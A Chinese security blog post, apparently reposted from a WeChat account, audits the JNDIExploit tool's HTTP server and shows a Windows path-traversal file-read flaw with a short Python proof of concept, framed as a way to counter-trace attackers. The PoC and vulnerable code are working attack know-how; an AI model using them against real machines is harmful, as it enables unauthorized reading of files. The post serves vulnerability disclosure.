JNDIExploit反制

admin 2024年5月18日10:28:33评论2 views字数 1414阅读4分42秒阅读模式

0x0前言

一款用于 JNDI注入 利用的工具,大量参考/引用了 Rogue JNDI 项目的代码,支持直接植入内存shell,并集成了常见的bypass 高版本JDK的方式,适用于与自动化工具配合使用。打过log4j2的师傅应该都不陌生,这里先简单介绍一下。我这里使用的是https://github.com/WhiteHSBG/JNDIExploit   (1.4版本)

0x1代码审计

JNDIExploit反制

问题出在下面这个类

src/main/java/com/feihong/ldap/HTTPServer.java

直接定位到

private static void handleFileRequest(HttpExchange exchange) throws Exception {
       String path = exchange.getRequestURI().getPath();
       String filename =  cwd + File.separator + "data" + File.separator +path.substring(path.lastIndexOf("/") + 1);
       File file = new File(filename);
       if (file.exists()){
           byte[] bytes = new byte[(int) file.length()];
           FileInputStream fileInputStream = new FileInputStream(file);
           fileInputStream.read(bytes);
           exchange.sendResponseHeaders(200, file.length() + 1);
           exchange.getResponseBody().write(bytes);
       }else {
           System.out.println("[!] Response Code: " + 404);
           exchange.sendResponseHeaders(404, 0);
       }
       exchange.close();

   }
  1. exchange.getRequestURI().getPath():从HTTP请求中获取请求的URI路径。
  2. String filename = cwd + File.separator + "data" + File.separator +path.substring(path.lastIndexOf("/") + 1):构建文件的完整路径。它使用了当前工作目录 (cwd),然后附加了固定的目录名称 "data",最后附加了从URI路径中提取的文件名部分(通过找到最后一个斜杠 / 来获取文件名)。

请求中找到路径中的最后一个斜杠(/),然后把它和当前的工作目录拼接在一起。但在Windows系统中,文件路径一般是用反斜杠()来表示的。所以,在Windows上运行,存在文件读取漏洞。

0x2 poc

uri = '/..\..\..\..\..\1.txt'
target = "localhost:port"
r = requests.get(target+uri)

JNDIExploit反制

可以看到,我先是起了一个jndi服务,然后python访问,成功读取到了我F盘下的1.txt文件。

0x3总结

想必利用场景大家一下子就可以想到hvv中的溯源,与冰蝎的任意文件读取类似。不过利用场景有限,只支持windows。用这款工具的大部分都会在linux下部署,因此,利用场景应该没那么大。

原文始发于微信公众号(X安全实验室):遥遥领先! JNDIExploit反制

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月18日10:28:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JNDIExploit反制http://cn-sec.com/archives/2044613.html

发表评论

匿名网友 填写信息